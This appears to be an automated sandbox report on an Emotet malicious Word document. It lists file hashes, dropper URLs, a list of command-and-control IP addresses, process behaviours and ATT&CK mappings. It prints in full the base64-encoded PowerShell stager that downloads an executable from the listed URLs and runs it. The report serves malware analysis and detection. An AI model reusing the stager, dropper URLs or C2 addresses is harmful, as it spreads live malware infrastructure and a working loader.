emotet | d5213404d4cc40494af138f8051b01ec3f1856b72de3e24f75aca8c024783e89

General

Target

d5213404d4cc40494af138f8051b01ec3f1856b72de3e24f75aca8c024783e89.doc
Size

194KB
MD5

3b88a896d30134203fe6d3ab47f0f7cf
SHA1

ca67f16240a8dd871d69420fade7e4a07c712fa3
SHA256

d5213404d4cc40494af138f8051b01ec3f1856b72de3e24f75aca8c024783e89
SHA512

e4482ed6240f481d7f4f7b7b46cb260a68ee625b00a80ab8d8efbc9f54bbba654e60ff417c8ff42b1a3bbdbb0fed6fd694f4a8e93d68e2f2aaeafd8fc9667ade

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://topgameus.com/AutoIT_UngdungOnline/zqjqel/

exe.dropper

http://cpads.net/7iuhq/mri/

exe.dropper

https://tyres2c.com/wp-admin/zu2h/

exe.dropper

https://thesuperservice.com/wp-admin/rL00/

exe.dropper

https://ssuse.com/wp-content/uploads/IMv2xyEc3/

Extracted

Family

emotet

C2

109.117.53.230:443

212.51.142.238:8080

190.160.53.126:80

139.59.60.244:8080

91.211.88.52:7080

190.108.228.62:443

186.208.123.210:443

46.105.131.87:80

173.91.22.41:80

222.214.218.37:4143

31.31.77.83:443

62.75.141.82:80

93.156.165.186:80

93.51.50.171:8080

185.94.252.104:443

78.189.165.52:8080

95.179.229.244:8080

73.11.153.178:8080

203.153.216.189:7080

95.213.236.64:8080

rsa_pubkey.plain

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1252	677.exe
1044	ErrorDetailsCore.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1252 wrote to memory of 1044	1252	677.exe	74
PID 1252 wrote to memory of 1044	1252	677.exe	74
PID 1252 wrote to memory of 1044	1252	677.exe	74

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral1/memory/1252-7-0x00000000021D0000-0x00000000021DC000-memory.dmp	emotet
behavioral1/memory/1044-10-0x0000000002110000-0x000000000211C000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2112	WINWORD.EXE
2112	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1840	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1840	powersheLL.exe
1840	powersheLL.exe
1840	powersheLL.exe
1044	ErrorDetailsCore.exe
1044	ErrorDetailsCore.exe
1044	ErrorDetailsCore.exe
1044	ErrorDetailsCore.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dnsapi\ErrorDetailsCore.exe	677.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
2112	WINWORD.EXE
2112	WINWORD.EXE
2112	WINWORD.EXE
2112	WINWORD.EXE
2112	WINWORD.EXE
2112	WINWORD.EXE
2112	WINWORD.EXE
2112	WINWORD.EXE
2112	WINWORD.EXE
2112	WINWORD.EXE
2112	WINWORD.EXE
2112	WINWORD.EXE
1252	677.exe
1252	677.exe
1044	ErrorDetailsCore.exe
1044	ErrorDetailsCore.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1840	3752	powersheLL.exe	68

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	1840	powersheLL.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d5213404d4cc40494af138f8051b01ec3f1856b72de3e24f75aca8c024783e89.doc" /o ""
1⤵
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:2112

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABiAGEAZQBwAHQAbwB1AHAAbQBvAHoAcQB1AGEAcQB1AGcAdQByAD0AJwBnAGEAaQByAGYAbwBvAHYAdwBpAGEAdABoAHQAYQBlAGcAcABvAHUAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBpAFQAeQBgAHAAUgBPAHQATwBjAGAAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAdABoAGUAZQBjAGgAaABvAGEAeABiAGEAaQBuAGwAbwBoAHIAZQB1AGcAcABvAGEAcQB1ACAAPQAgACcANgA3ADcAJwA7ACQAYwBoAGEAaQB4AHcAZQBlAHgAPQAnAHgAYQBvAHMAJwA7ACQAYwBoAGEAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdABoAGUAZQBjAGgAaABvAGEAeABiAGEAaQBuAGwAbwBoAHIAZQB1AGcAcABvAGEAcQB1ACsAJwAuAGUAeABlACcAOwAkAGoAZQBhAG0AYwBoAGEAYgA9ACcAcQB1AGEAZQBmAHkAbwB1AGwAcABvAHUAdwBqAGEAaQBoAHQAdQBhAHIAJwA7ACQAdABoAGEAZQBxAHUAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAEIAQwBMAGkARQBuAFQAOwAkAHQAaQBhAGcAeQBvAHUAcwB2AHUAdQBiAD0AJwBoAHQAdABwADoALwAvAHQAbwBwAGcAYQBtAGUAdQBzAC4AYwBvAG0ALwBBAHUAdABvAEkAVABfAFUAbgBnAGQAdQBuAGcATwBuAGwAaQBuAGUALwB6AHEAagBxAGUAbAAvACoAaAB0AHQAcAA6AC8ALwBjAHAAYQBkAHMALgBuAGUAdAAvADcAaQB1AGgAcQAvAG0AcgBpAC8AKgBoAHQAdABwAHMAOgAvAC8AdAB5AHIAZQBzADIAYwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AegB1ADIAaAAvACoAaAB0AHQAcABzADoALwAvAHQAaABlAHMAdQBwAGUAcgBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwByAEwAMAAwAC8AKgBoAHQAdABwAHMAOgAvAC8AcwBzAHUAcwBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvAEkATQB2ADIAeAB5AEUAYwAzAC8AJwAuACIAcwBwAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABiAG8AdQBtAHkAYQBvAG0AaABvAGkAegBqAGUAaQBuAGYAZQBpAHYAPQAnAGYAaQBvAHQAaABnAG8AZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeABlAGUAeABjAGUAYwBoACAAaQBuACAAJAB0AGkAYQBnAHkAbwB1AHMAdgB1AHUAYgApAHsAdAByAHkAewAkAHQAaABhAGUAcQB1AC4AIgBEAGAAbwBXAG4ATABPAGAAQQBkAEYAYABpAGwARQAiACgAJAB4AGUAZQB4AGMAZQBjAGgALAAgACQAYwBoAGEAeQApADsAJABtAGEAZQByAGIAbwBlAHAAYwB1AGEAZwA9ACcAdgBlAGEAYgB0AHUAcAByAHUAdQBsAGMAaABpAGEAegBiAG8AYQBoACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAYwBoAGEAeQApAC4AIgBMAGUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwA2ADcANgA0ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIARQBhAGAAVABlACIAKAAkAGMAaABhAHkAKQA7ACQAYwBlAGMAaABjAGEAdQB0AHQAaABlAG8AcQB1AHMAbwBlAG0APQAnAGoAbwBpAGsAagBvAGEAcABkAGkAZQBzACcAOwBiAHIAZQBhAGsAOwAkAGcAYQB1AGcAeQB1AHkAcgB1AHkAeQB1AG4AYgB1AHUAZgBrAGUAcgA9ACcAdABpAGEAdwBmAGUAbwBjAGYAYQBpAHMAagBhAGUAZgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABwAGkAeAB3AHUAegB2AG8AYQBtAGwAdQB1AHMAagBvAG8AeQBrAGkAbQA9ACcAcwBpAGMAaABrAGUAaQBnAHYAbwBhAGMAJwA=
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Blacklisted process makes network request
PID:1840

C:\Users\Admin\677.exe
C:\Users\Admin\677.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:1252
- C:\Windows\SysWOW64\dnsapi\ErrorDetailsCore.exe
  "C:\Windows\SysWOW64\dnsapi\ErrorDetailsCore.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:1044

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1044-10-0x0000000002110000-0x000000000211C000-memory.dmp

Filesize
48KB

Download
memory/1252-7-0x00000000021D0000-0x00000000021DC000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads